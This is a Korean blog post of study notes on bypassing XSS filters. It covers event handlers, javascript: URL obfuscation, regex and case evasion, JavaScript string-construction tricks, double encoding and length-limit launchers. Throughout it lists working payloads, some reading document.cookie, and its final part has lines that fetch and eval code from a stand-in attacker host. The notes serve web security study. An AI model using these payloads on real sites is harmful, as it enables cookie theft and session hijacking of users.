-
02-01. Client Side Attack 중급 - XSS Filtering Bypass해킹/웹해킹 이론 2023. 11. 24. 01:03
이벤트 핸들러 속성
HTML 태그의 속성 값으로 스크립트를 포함할 수 있다. 다만 이벤트 핸들러의 속성에 따라 실행되기도, 되지않기도 함에 주의.
- onload
- onerror
- onfocus
- autofocus 속성을 이용해 자동으로 포커싱하거나 URL의 hash에 input tag의 id를 넣어 포커싱 시킨다.
- (e.g. http://dreamhack.io/#inputID)
문자열 치환
- 단순 제거 방식일 경우 -> 제거되는 문자열을 중간에 삽입한다. (scr + script + ipt)
활성 하이퍼링크
a / iframe tag에 사용되는 javascript: 스키마는 js code를 실행시킨다.
- 특수 문자를 포함한 우회 예시
- 실행전 정규화를 통해 (\x01, \x04, \t)와 같은 특수문자가 제거되고 대소문자가 통일됨
- <a href="\1\4jAVasC\triPT:alert(document.domain)">Click me!</a>
- Entity Encoding (&# + unicode)
- <a href="\1JavasCr\tip&tab;:alert(document.domain);">Click me!</a>
- 실행전 정규화를 통해 (\x01, \x04, \t)와 같은 특수문자가 제거되고 대소문자가 통일됨
태그와 속성 기반 필터링
- 대문자, 소문자만 인식 시 대소문자를 섞어 쓸 수 있다
- 잘못된 정규화 피하기
- x => !/<img.*on/i.test(x) => <img src=""\nonerror="alert(document.cookie)"/> (img 뒤에 엔터나 스페이스바를 넣어서 피할 수 있음
- 특정 태그 및 속성을 다른 태그 및 속성으로 대체
- script, img, input, video tag 사용 가능
- iframe의 src에 javascript:를 넣을 수 있다.
- iframe의 srcdoc을 이용하면 Entity Encoding 우회도 사용할 수 있다.
자바스크립트 함수 및 키워드 필터링
- Unicode escape sequence - 문자열에서 유니코드문자를 코드포인트로 나타낼 수 있다.
- var bar = "cooki\x65"; // cookie
- Computed member access - 객체의 속성에 접근할 때 속성 이름을 동적으로 계산한다.
- document["coo"+"kie"] == document["cookie"] == document.cookie
- alert , XMLHttpRequest등 문서의 최상위 객체 및 함수
- window['al'+'ert'] 등 이름 끊어쓰기
- window
- self, this 사용
- eval(code)
- Function(code)()
- Function
- isNaN['constr'+'uctor'] 등 함수의 constrcutor속성 접근
- 문자열 선언
- " , ' 이 막혀있다면 백틱으로 대체
- 다 막혀있다면 RegExp 객체 생성 후 패턴만 가져오기
- var foo = /Hello World!/.source; // "Hello World!"
- var bar = /test !/ + []; // "/test !/"
- String.fromCharCode 함수 사용 - 인자로 전달된 각각의 유니코드에 해당하는 문자를 붙인 문자열 반환
- var foo = String.fromCharCode(72, 101, 108, 108, 111); // "Hello"
- 기본 내장 함수나 객체의 문자를 사용하는 방법
- URL.toString(), history.toString()
- 숫자 객체의 진법 변환 (10진수 ->36진수로 영어소문자범위는 다 생성할 수 있음)
- var foo = (29234652).toString(36); // "hello"
- var foo = 29234652..toString(36); // "hello"
- var bar = 29234652 .toString(36); // "hello"
- 함수 호출 - 기존 방식 func(1) / func`1`
- javascript 스키마를 이용한 location 변경
- location="javascript:alert\x28document.domain\x29;";
location.href="javascript:alert\u0028document.domain\u0029;";
location['href']="javascript:alert\050document.domain\051;";
- location="javascript:alert\x28document.domain\x29;";
- Symbol.hasInstance 오버라이딩
- "alert\x28document.domain\x29"instanceof{[Symbol.hasInstance]:eval};
Array.prototype[Symbol.hasInstance]=eval;"alert\x28document.domain\x29"instanceof[];
- "alert\x28document.domain\x29"instanceof{[Symbol.hasInstance]:eval};
- document.body.innerHTML 추가
- document.body.innerHTML+="<img src=x: onerror=alert(1)>";
document.body.innerHTML+="<body src=x: onload=alert(1)>";
- document.body.innerHTML+="<img src=x: onerror=alert(1)>";
- javascript 스키마를 이용한 location 변경
더블 인코딩을 통한 우회
한 번 디코딩을 수행하고 안전하다고 판단 된 후 한번 더 디코딩을 하면 더블 인코딩을 해 우회할 수 있다.
길이 제한
삽입할 수 있는 코드의 길이가 제한되어 있는 경우, 다른 경로로 실행할 추가적인 코드 (payload)를 URL fragment 등으로 삽입 후 삽입 지점에는 본 코드를 실행하는 짧은 코드 (launcher)를 사용할 수 있다.
- location.hash를 이용
- https://example.com/?q=<img onerror="eval(location.hash.slice(1))">#alert(document.cookie);
- 외부 자원을 이용
- import("http://malice.dreamhack.io");
- var e = document.createElement('script')
e.src='http://malice.dreamhack.io';
document.appendChild(e); - fetch('http://malice.dreamhack.io').then(x=>eval(x.text()))
'해킹 > 웹해킹 이론' 카테고리의 다른 글
02-02. Client Side Attack 중급 - Content Security Policy(CSP) Bypass (0) 2023.11.24 03-04. Server Side Attack - File Vulnerability (1) 2023.11.21 03-03. Server Side Attack - Command Injection (0) 2023.11.21 03-02. Server Side Attack - Non-Relational DBMS (0) 2023.11.21 03-01. Server Side Attack - Relational DBMS (0) 2023.11.21